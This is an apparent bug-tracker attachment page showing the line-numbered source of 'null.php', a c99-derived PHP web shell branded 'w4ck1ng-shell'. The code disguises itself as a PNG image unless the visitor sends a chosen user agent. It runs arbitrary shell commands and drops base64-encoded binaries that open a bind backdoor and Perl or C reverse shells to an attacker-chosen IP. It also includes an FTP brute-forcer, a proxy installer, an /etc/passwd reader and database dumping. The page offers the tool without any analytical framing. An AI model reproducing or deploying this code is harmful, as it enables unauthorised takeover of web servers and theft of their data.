Ticket #2475: null.php

File null.php, 196.9 KB (added by %00, 17 years ago)

%00

Line 
1<?php
2
3$my_agent = "Defaced";
4$user_agent = $_SERVER['HTTP_USER_AGENT'];
5
6if($user_agent != $my_agent)
7{
8$fake_image = "iVBORw0KGgoAAAANSUhEUgAAAGAAAABgCAIAAABt+uBvAAAegklEQVR42u18d5xWxfX+OXPL2993
9e2fZBZayhd6LIGAlGkTFQrBi1MQoKokJ5mcB0RhjSY/KFxBE0RghGoxRBCnSFASEpbO7sL29+/b3
10vffOnN8fd3epCyusYojPH/vZ996ZuWeeOXPmnDNzLxIRAHABQQ22lhqXPO1jCP/jWP2Yp1eG7LYA
11Y4BEJAh21cCM90HnFNHOt3TfAdgsYJHwxauhezKgwWlrBdy1FCL6+ZbrOwanCq9cA1jtFz1n80Ds
12fIvToSAAIiD6erUQARGONTAMQd5eokVr/Fz7mo19t4FECS6WkaiqSlsGFVv/tP6uro9V1WlckgAZ
13AAEAB0CYXAV4YbED0Mmh/2ycNKVvONkhgHMgAUTmctSiVwQERIQAQIKEAFlaWuz+7dLo9rCHy4pJ
14EAAiTDwCsnocmf/lUGWYMwl+nLFD3/IJ9/sp5BfhEBkacQ5CADeABJEgzsngIAzQYzwSCgp0Trx1
15TcLkmR/HVzZBM4mGJkOoETypgKciiAgEgGgZFwbAEAyCthQOASQAABCmGWiphXC0fU7NDZrlzQIA
16pxbgrKDIMPUim/bmx3JyppySxQNNwu8VsShxDoYOXAAJEIK4QYZOsRhpYQiHZL9375tzxz53SWpi
17aqU3BgyBCEKNcpu6I8hjx4JsOTOBEUBjEL46QnWNxqgiuXOSJE7FUTgG723hdtXonS2nepiqYFNI
18HKjmh2oECQBGIKCgs1yYLUsMACCiUa1P7DhsBMImm9SBikzhMJAgQuAcgEAIEAIIiBsABJwD56TF
19SIuQEIiAsmJEGu0qSdKxMqDcRvPktON1wy0PX2XvkSEzhP2V4Z++sO3jUvdDP+g+cZB6ykoVdaHd
20W1dOnXjJNUNs3TOYhOAN09piY9G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IIg2nW9xvrOg/w9hzG0Qp419NgAAAABJRU5ErkJg
146gg==";
147header("Content-type: image/png");
148die(base64_decode($fake_image));
149}else{ };
150
151ini_restore("open_basedir");
152if (!function_exists("myshellexec"))
153{
154if(is_callable("popen")){
155function myshellexec($command) {
156if (!($p=popen("($command)2>&1","r"))) {
157return 126;
158}
159while (!feof($p)) {
160$line=fgets($p,1000);
161$out .= $line;
162}
163pclose($p);
164return $out;
165}
166}else{
167function myshellexec($cmd)
168{
169 global $disablefunc;
170 $result = "";
171 if (!empty($cmd))
172 {
173 if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);}
174 elseif (($result = `$cmd`) !== FALSE) {}
175 elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
176 elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
177 elseif (is_resource($fp = popen($cmd,"r")))
178 {
179 $result = "";
180 while(!feof($fp)) {$result .= fread($fp,1024);}
181 pclose($fp);
182 }
183 }
184 return $result;
185}
186}
187}
188
189$proxy_shit="H4sIALMXx0QAA+RafXhU1Zm/M5mBAUJmUD4i2hKsKFSBhC9RRFN1FK1bRpSK1jXEfHCD+Spzp0AfkLjDrIzD2NiK0qe1Gx+0i61d6YqCrdEgSIJGn6DzdNPKyoAB7zCjRhglQGD2/b3n3Lk3Icg/6x/77MCZc37nvOf9Ou8577k3M8VfoZXWTlW+zU8hfa6eOZProhnT+9TyoxQVzphVNKto+qzCIqWwqGgWdRXM/Fa1kp+AXytdVlCg1NY9WFe+8tx05xv/P/qZItZf1bT68m9LBhZ41owZA69/UVHhtOmzsus/8+pCWv9ps2bOUgoKvy2FrJ//5+u/xnvHLTabLYvtSo4CNPFxh2sG1Y3LRf8MpUAZpExULlXGUQ1MpYFoqLR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uMAAAAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAEAAgAAAAAAAQABACQAAAAQAAAAAAAAABBpaQ0AAAIAsgAAAAAAAAAImgQIBhMAABiaBAgHAQAAHJoECAcCAAAgmgQIBwMAACSaBAgHBAAAKJoECAcFAAAsmgQIBwYAADCaBAgHBwAANJoECAcIAAA4mgQIBwkAADyaBAgHCgAAQJoECAcLAABEmgQIBwwAAEiaBAgHDQAATJoECAcOAABQmgQIBw8AAFSaBAgHEQAAVYnlg+wI6EEBAADolAEAAOjnAwAAycMA/zUQmgQI/yUUmgQIAAAAAP8lGJoECGgAAAAA6eD/////JRyaBAhoCAAAAOnQ/////yUgmgQIaBAAAADpwP////8lJJoECGgYAAAA6bD/////JSiaBAhoIAAAAOmg/////yUsmgQIaCgAAADpkP////8lMJoECGgwAAAA6YD/////JTSaBAhoOAAAAOlw/////yU4mgQIaEAAAADpYP////8lPJoECGhIAAAA6VD/////JUCaBAhoUAAAAOlA/////yVEmgQIaFgAAADpMP////8lSJoECGhgAAAA6SD/////JUyaBAhoaAAAAOkQ/////yVQmgQIaHAAAADpAP////8lVJoECGh4AAAA6fD+//8x7V6J4YPk8FBUUmhoiAQIaBSIBAhRVmiAhgQI6E/////0kJBVieVT6AAAAABbgcMHFAAAUouD/P///4XAdAL/0FhbycOQkJBVieWD7AiAPWSaBAgAdA/rH412AIPABKNgmgQI/9KhYJoECIsQhdJ168YFZJoECAHJw4n2VYnlg+wIoTyZBAiFwHQZuAAAAACFwHQQg+wMaDyZBAj/0IPEEI12AMnDkJBVieVXVlOD7EyD5PC4AAAAAIPAD4PAD8HoBMHgBCnEjX2ovvSIBAj8uQcAAADzpI19r/y5DgAAALAA86qD7AhqAGoB6FD+//+DxBBmx0XIAgCD7AyLRQyDwAj/MOi3/v//g8QQD7fAg+wMUOi4/v//g8QQZolFyoPsDItFDIPABP8w6DH+//+DxBCJRcyD7AiLRQyDwASD7AT/MOgI/v//g8QIicOLRQyDwAiD7AT/MOj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AAAQaWkNAAACAKYAAAAAAAAAiJoECAYSAACYmgQIBwEAAJyaBAgHAgAAoJoECAcDAACkmgQIBwQAAKiaBAgHBQAArJoECAcGAACwmgQIBwcAALSaBAgHCAAAuJoECAcJAAC8mgQIBwoAAMCaBAgHCwAAxJoECAcMAADImgQIBw0AAMyaBAgHDgAA0JoECAcQAABVieWD7AjoMQEAAOiDAQAA6FsEAADJwwD/NZCaBAj/JZSaBAgAAAAA/yWYmgQIaAAAAADp4P////8lnJoECGgIAAAA6dD/////JaCaBAhoEAAAAOnA/////yWkmgQIaBgAAADpsP////8lqJoECGggAAAA6aD/////JayaBAhoKAAAAOmQ/////yWwmgQIaDAAAADpgP////8ltJoECGg4AAAA6XD/////JbiaBAhoQAAAAOlg/////yW8mgQIaEgAAADpUP////8lwJoECGhQAAAA6UD/////JcSaBAhoWAAAAOkw/////yXImgQIaGAAAADpIP////8lzJoECGhoAAAA6RD/////JdCaBAhocAAAAOkA////Me1eieGD5PBQVFJorYgECGhciAQIUVZoQIYECOhf////9JCQVYnlU+gbAAAAgcO/FAAAg+wEi4P8////hcB0Av/Qg8QEW13Dixwkw1WJ5YPsCIA94JoECAB0DOscg8AEo9yaBAj/0qHcmgQIixCF0nXrxgXgmgQIAcnDVYnlg+wIobyZBAiFwHQSuAAAAACFwHQJxwQkvJkECP/QycOQkFWJ5VeD7GSD5PC4AAAAAIPAD4PAD8HoBMHgBCnEx0XkAQAAAMdF+EyJBAjHRCQIAAAAAMdEJAQBAAAAxwQkAgAAAOgJ////iUXwg33wAHkYxwQkjIkECOg0/v//xwQkAQAAAOio/v//ZsdF1AIAx0XYAAAAAItFDIPABIsAiQQk6Jv+//8Pt8CJBCTosP7//2aJRdbHRCQQBAAAAI1F5IlEJAzHRCQIAgAAAMdEJAQBAAAAi0XwiQQk6BL+//+NRdTHRCQIEAAAAIlEJASLRfCJBCToKP7//4XAeRjHBCSTiQQI6Kj9///HBCQBAAAA6Bz+///HRCQECAAAAItF8IkEJOi5/f//hc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1X2luaXQAX19ic3Nfc3RhcnQAbWFpbgBfX2xpYmNfc3RhcnRfbWFpbkBAR0xJQkNfMi4wAGR1cDJAQEdMSUJDXzIuMABkYXRhX3N0YXJ0AGJpbmRAQEdMSUJDXzIuMABfZmluaQBleGl0QEBHTElCQ18yLjAAYXRvaUBAR0xJQkNfMi4wAF9lZGF0YQBfX2k2ODYuZ2V0X3BjX3RodW5rLmJ4AF9lbmQAc2VuZEBAR0xJQkNfMi4wAGh0b25zQEBHTElCQ18yLjAAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19nbW9uX3N0YXJ0X18A";
196
197function checkproxyhost(){
198$host = getenv("HTTP_HOST");
199$filename = '/tmp/.setan/xh';
200if (file_exists($filename)) {
201$_POST['proxyhostmsg']="</br></br><center><font color=green size=3><b>Success!</b></font></br></br><a href=$host:6543>$host:6543</a></br></br><b>Note:</b> If '$host' have a good firewall or IDS installed on their server, it will probably catch this or stop it from ever opening a port and you won't be able to connect to this proxy.</br></br></center>";
202} else {
203$_POST['proxyhostmsg']="</br></br><center><font color=red size=3><b>Failed!</b></font></br></br><b>Note:</b> If for some reason we would not create and extract the need proxy files in '/tmp' this will make this fail.</br></br></center>";
204 }
205}
206
207if (!empty($_POST['backconnectport']) && ($_POST['use']=="shbd"))
208{
209 $ip = gethostbyname($_SERVER["HTTP_HOST"]);
210 $por = $_POST['backconnectport'];
211 if(is_writable(".")){
212 cfb("shbd",$backdoor);
213 ex("chmod 777 shbd");
214 $cmd = "./shbd $por";
215 exec("$cmd > /dev/null &");
216 $scan = myshellexec("ps aux");
217 if(eregi("./shbd $por",$scan)){ $data = ("\n</br></br>Process found running, backdoor setup successfully."); }elseif(eregi("./shbd $por",$scan)){ $data = ("\n</br>Process not found running, backdoor not setup successfully."); }
218 $_POST['backcconnmsg']="To connect, use netcat and give it the command <b>'nc $ip $por'</b>.$data";
219 }else{
220 cfb("/tmp/shbd",$backdoor);
221 ex("chmod 777 /tmp/shbd");
222 $cmd = "./tmp/shbd $por";
223 exec("$cmd > /dev/null &");
224 $scan = myshellexec("ps aux");
225 if(eregi("./shbd $por",$scan)){ $data = ("\n</br></br>Process found running, backdoor setup successfully."); }elseif(eregi("./shbd $por",$scan)){ $data = ("\n</br>Process not found running, backdoor not setup successfully."); }
226 $_POST['backcconnmsg']="To connect, use netcat and give it the command <b>'nc $ip $por'</b>.$data";
227}
228}
229
230if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use']=="Perl"))
231{
232 if(is_writable(".")){
233 cf("back",$back_connect);
234 $p2=which("perl");
235 $blah = ex($p2." back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
236 $_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>.";
237 if (file_exists("back")) { unlink("back"); }
238 }else{
239 cf("/tmp/back",$back_connect);
240 $p2=which("perl");
241 $blah = ex($p2." /tmp/back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
242 $_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>.";
243 if (file_exists("/tmp/back")) { unlink("/tmp/back"); }
244}
245}
246
247if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use']=="C"))
248{
249 if(is_writable(".")){
250 cf("backc",$back_connect_c);
251 ex("chmod 777 backc");
252 //$blah = ex("gcc back.c -o backc");
253 $blah = ex("./backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
254 $_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>.";
255 //if (file_exists("back.c")) { unlink("back.c"); }
256 if (file_exists("backc")) { unlink("backc"); }
257 }else{
258 ex("chmod 777 /tmp/backc");
259 cf("/tmp/backc",$back_connect_c);
260 //$blah = ex("gcc -o /tmp/backc /tmp/back.c");
261 $blah = ex("/tmp/backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
262 $_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>.";
263 //if (file_exists("back.c")) { unlink("back.c"); }
264 if (file_exists("/tmp/backc")) { unlink("/tmp/backc"); } }
265}
266
267function cf($fname,$text)
268{
269 $w_file=@fopen($fname,"w") or err();
270 if($w_file)
271 {
272 @fputs($w_file,@base64_decode($text));
273 @fclose($w_file);
274 }
275}
276
277function cfb($fname,$text)
278{
279 $w_file=@fopen($fname,"w") or bberr();
280 if($w_file)
281 {
282 @fputs($w_file,@base64_decode($text));
283 @fclose($w_file);
284 }
285}
286
287function err()
288{
289$_POST['backcconnmsge']="</br></br><b><font color=red size=3>Error:</font> Can't connect!</b>";
290}
291
292function bberr()
293{
294$_POST['backcconnmsge']="</br></br><b><font color=red size=3>Error:</font> Can't backdoor host!</b>";
295}
296
297function which($pr)
298{
299$path = ex("which $pr");
300if(!empty($path)) { return $path; } else { return $pr; }
301}
302function ex($cfe)
303{
304 $res = '';
305 if (!empty($cfe))
306 {
307 if(function_exists('exec'))
308 {
309 @exec($cfe,$res);
310 $res = join("\n",$res);
311 }
312 elseif(function_exists('shell_exec'))
313 {
314 $res = @shell_exec($cfe);
315 }
316 elseif(function_exists('system'))
317 {
318 @ob_start();
319 @system($cfe);
320 $res = @ob_get_contents();
321 @ob_end_clean();
322 }
323 elseif(function_exists('passthru'))
324 {
325 @ob_start();
326 @passthru($cfe);
327 $res = @ob_get_contents();
328 @ob_end_clean();
329 }
330 elseif(@is_resource($f = @popen($cfe,"r")))
331 {
332 $res = "";
333 while(!@feof($f)) { $res .= @fread($f,1024); }
334 @pclose($f);
335 }
336 }
337 return $res;
338}
339
340ini_set("memory_limit","300M");
341if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}}
342if (!function_exists("file_get_contents")) { function file_get_contents($filename){ $handle = fopen($filename, "r"); $retval = fread($handle, filesize($filename)); fclose($handle);return $retval;}}
343error_reporting(5);
344@ignore_user_abort(TRUE);
345@set_magic_quotes_runtime(0);
346$win = strtolower(substr(PHP_OS,0,3)) == "win";
347if (!$win) { } else { echo("<font color=red><b>Loading Error:</b></font> This is a UNIX only shell."); die(); }
348define("starttime",getmicrotime());
349if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);}
350$_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
351foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}}
352$shver = "w4ck1ng-shell (Private Build v0.3)";
353if (!empty($unset_surl)) {setcookie("c99sh_surl"); $surl = "";}
354elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("c99sh_surl",$surl);}
355else {$surl = $_REQUEST["c99sh_surl"];
356}
357$surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL.
358if ($surl_autofill_include and !$_REQUEST["c99sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}}
359if (empty($surl))
360{
361 $surl = "?".$includestr;
362}
363$surl = htmlspecialchars($surl);
364$timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited.
365$login = "";
366$pass = "";
367$md5_pass = "";
368$host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1")
369$login_txt = "Apache Error: Restricted File";
370$accessdeniedmess = "access denied";
371$gzipencode = TRUE;
372$filestealth = TRUE; //if TRUE, don't change modify- and access-time
373$donated_html = "";
374$donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html.
375$curdir = "./";
376//$curdir = getenv("DOCUMENT_ROOT");
377$tmpdir = "";
378$tmpdir_log = "./";
379$log_email = "synsta@gmail.com";
380$sort_default = "0a";
381$sort_save = TRUE;
382$ftypes = array(
383 "html"=>array("html","htm","shtml"),
384 "txt"=>array("txt","c",".bash_history","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
385 "exe"=>array("sh","install","bat","cmd"),
386 "ini"=>array("ini","inf"),
387 "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
388 "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
389 "sdb"=>array("sdb"),
390 "phpsess"=>array("sess"),
391 "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")
392);
393
394$exeftypes = array(
395 getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
396 "perl %f%" => array("pl","cgi")
397);
398$regxp_highlight = array(
399 array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"), // example
400 array("config.php",1) // example
401);
402$safemode_diskettes = array("a");
403$hexdump_lines = 8;// lines in hex preview file
404$hexdump_rows = 24;// 16, 24 or 32 bytes in one line
405$nixpwdperpage = 100; // Get first N lines from /etc/passwd
406
407
408$sess_cookie = "c99shvars"; // Cookie-variable name
409
410
411
412//Quick launch
413$quicklaunch = array(
414 array("<hr><b>[Home]</b>",$surl),
415 array("<b>[Processes]</b>",$surl."act=processes&d=%d"),
416 array("<b>[Server Information]</b>",$surl."act=security&d=%d"),
417 array("<b>[SQL Manager]</b>",$surl."act=sql&d=%d"),
418 array("<b>[FTP Brute Forcer]</b>",$surl."act=ftpquickbrute&d=%d"),
419 array("<b>[Eval PHP code]</b>",$surl."act=eval&d=%d&eval=//readfile('/etc/passwd');"),
420 array("<b>[Install Proxy]</b>",$surl."act=proxy"),
421 array("<b>[Back-Connection]</b>",$surl."act=backc"),
422 array("<b>[Backdoor Host]</b>",$surl."act=shbd"),
423 array("<b>[Self remove]</b>",$surl."act=selfremove"),
424);
425
426//Highlight-code colors
427$highlight_background = "#c0c0c0";
428$highlight_bg = "#FFFFFF";
429$highlight_comment = "#6A6A6A";
430$highlight_default = "#0000BB";
431$highlight_html = "#1300FF";
432$highlight_keyword = "#007700";
433$highlight_string = "#000000";
434
435@$f = $_REQUEST["f"];
436@extract($_REQUEST["c99shcook"]);
437
438//END CONFIGURATION
439
440
441// \/Next code isn't for editing\/
442@set_time_limit(0);
443$tmp = array();
444foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));}
445$s = "!^(".implode("|",$tmp).")$!i";
446if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("Access Denied");}
447if (!empty($login))
448{
449 if (empty($md5_pass)) {$md5_pass = md5($pass);}
450 if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass))
451 {
452 if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace("&nbsp;|<br>"," ",$donated_html));}
453 header("WWW-Authenticate: Basic realm=\"".$login_txt."\"");
454 header("HTTP/1.0 401 Unauthorized");
455 exit($accessdeniedmess);
456 }
457}
458if ($act != "img"){
459$lastdir = realpath(".");
460chdir($curdir);
461if ($selfwrite or $updatenow) {@ob_clean(); c99sh_getupdate($selfwrite,1); exit;}
462$sess_data = unserialize($_COOKIE["$sess_cookie"]);
463if (!is_array($sess_data)) {$sess_data = array();}
464if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
465if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}
466
467$disablefunc = @ini_get("disable_functions");
468if (!empty($disablefunc))
469{
470 $disablefunc = str_replace(" ","",$disablefunc);
471 $disablefunc = explode(",",$disablefunc);
472}
473
474if (!function_exists("c99_buff_prepare"))
475{
476function c99_buff_prepare()
477{
478 global $sess_data;
479 global $act;
480 foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
481 foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
482 $sess_data["copy"] = array_unique($sess_data["copy"]);
483 $sess_data["cut"] = array_unique($sess_data["cut"]);
484 sort($sess_data["copy"]);
485 sort($sess_data["cut"]);
486 if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
487 else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
488}
489}
490c99_buff_prepare();
491if (!function_exists("c99_sess_put"))
492{
493function c99_sess_put($data)
494{
495 global $sess_cookie;
496 global $sess_data;
497 c99_buff_prepare();
498 $sess_data = $data;
499 $data = serialize($data);
500 setcookie($sess_cookie,$data);
501}
502}
503foreach (array("sort","sql_sort") as $v)
504{
505 if (!empty($_GET[$v])) {$$v = $_GET[$v];}
506 if (!empty($_POST[$v])) {$$v = $_POST[$v];}
507}
508if ($sort_save)
509{
510 if (!empty($sort)) {setcookie("sort",$sort);}
511 if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
512}
513if (!function_exists("str2mini"))
514{
515function str2mini($content,$len)
516{
517 if (strlen($content) > $len)
518 {
519 $len = ceil($len/2) - 2;
520 return substr($content, 0,$len)."...".substr($content,-$len);
521 }
522 else {return $content;}
523}
524}
525if (!function_exists("view_size"))
526{
527function view_size($size)
528{
529 if (!is_numeric($size)) {return FALSE;}
530 else
531 {
532 if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
533 elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
534 elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
535 else {$size = $size . " B";}
536 return $size;
537 }
538}
539}
540if (!function_exists("fs_copy_dir"))
541{
542function fs_copy_dir($d,$t)
543{
544 $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
545 if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
546 $h = opendir($d);
547 while (($o = readdir($h)) !== FALSE)
548 {
549 if (($o != ".") and ($o != ".."))
550 {
551 if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
552 else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
553 if (!$ret) {return $ret;}
554 }
555 }
556 closedir($h);
557 return TRUE;
558}
559}
560if (!function_exists("fs_copy_obj"))
561{
562function fs_copy_obj($d,$t)
563{
564 $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
565 $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
566 if (!is_dir(dirname($t))) {mkdir(dirname($t));}
567 if (is_dir($d))
568 {
569 if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
570 if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
571 return fs_copy_dir($d,$t);
572 }
573 elseif (is_file($d)) {return copy($d,$t);}
574 else {return FALSE;}
575}
576}
577if (!function_exists("fs_move_dir"))
578{
579function fs_move_dir($d,$t)
580{
581 $h = opendir($d);
582 if (!is_dir($t)) {mkdir($t);}
583 while (($o = readdir($h)) !== FALSE)
584 {
585 if (($o != ".") and ($o != ".."))
586 {
587 $ret = TRUE;
588 if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
589 else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}}
590 if (!$ret) {return $ret;}
591 }
592 }
593 closedir($h);
594 return TRUE;
595}
596}
597if (!function_exists("fs_move_obj"))
598{
599function fs_move_obj($d,$t)
600{
601 $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
602 $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
603 if (is_dir($d))
604 {
605 if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
606 if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
607 return fs_move_dir($d,$t);
608 }
609 elseif (is_file($d))
610 {
611 if(copy($d,$t)) {return unlink($d);}
612 else {unlink($t); return FALSE;}
613 }
614 else {return FALSE;}
615}
616}
617if (!function_exists("fs_rmdir"))
618{
619function fs_rmdir($d)
620{
621 $h = opendir($d);
622 while (($o = readdir($h)) !== FALSE)
623 {
624 if (($o != ".") and ($o != ".."))
625 {
626 if (!is_dir($d.$o)) {unlink($d.$o);}
627 else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
628 }
629 }
630 closedir($h);
631 rmdir($d);
632 return !is_dir($d);
633}
634}
635if (!function_exists("fs_rmobj"))
636{
637function fs_rmobj($o)
638{
639 $o = str_replace("\\",DIRECTORY_SEPARATOR,$o);
640 if (is_dir($o))
641 {
642 if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
643 return fs_rmdir($o);
644 }
645 elseif (is_file($o)) {return unlink($o);}
646 else {return FALSE;}
647}
648}
649if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}}
650if (!function_exists("view_perms"))
651{
652function view_perms($mode)
653{
654 if (($mode & 0xC000) === 0xC000) {$type = "s";}
655 elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
656 elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
657 elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
658 elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
659 elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
660 elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
661 else {$type = "?";}
662
663 $owner["read"] = ($mode & 00400)?"r":"-";
664 $owner["write"] = ($mode & 00200)?"w":"-";
665 $owner["execute"] = ($mode & 00100)?"x":"-";
666 $group["read"] = ($mode & 00040)?"r":"-";
667 $group["write"] = ($mode & 00020)?"w":"-";
668 $group["execute"] = ($mode & 00010)?"x":"-";
669 $world["read"] = ($mode & 00004)?"r":"-";
670 $world["write"] = ($mode & 00002)? "w":"-";
671 $world["execute"] = ($mode & 00001)?"x":"-";
672
673 if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
674 if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
675 if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}
676
677 return $type.join("",$owner).join("",$group).join("",$world);
678}
679}
680if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}}
681if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}}
682if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}}
683if (!function_exists("parse_perms"))
684{
685function parse_perms($mode)
686{
687 if (($mode & 0xC000) === 0xC000) {$t = "s";}
688 elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
689 elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
690 elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
691 elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
692 elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
693 elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
694 else {$t = "?";}
695 $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
696 $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
697 $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
698 return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
699}
700}
701if (!function_exists("parsesort"))
702{
703function parsesort($sort)
704{
705 $one = intval($sort);
706 $second = substr($sort,-1);
707 if ($second != "d") {$second = "a";}
708 return array($one,$second);
709}
710}
711if (!function_exists("view_perms_color"))
712{
713function view_perms_color($o)
714{
715 if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";}
716 elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";}
717 else {return "<font color=green>".view_perms(fileperms($o))."</font>";}
718}
719}
720if (!function_exists("mysql_dump")){
721function mysql_dump($set)
722{
723 global $shver;
724 $sock = $set["sock"];
725 $db = $set["db"];
726 $print = $set["print"];
727 $nl2br = $set["nl2br"];
728 $file = $set["file"];
729 $add_drop = $set["add_drop"];
730 $tabs = $set["tabs"];
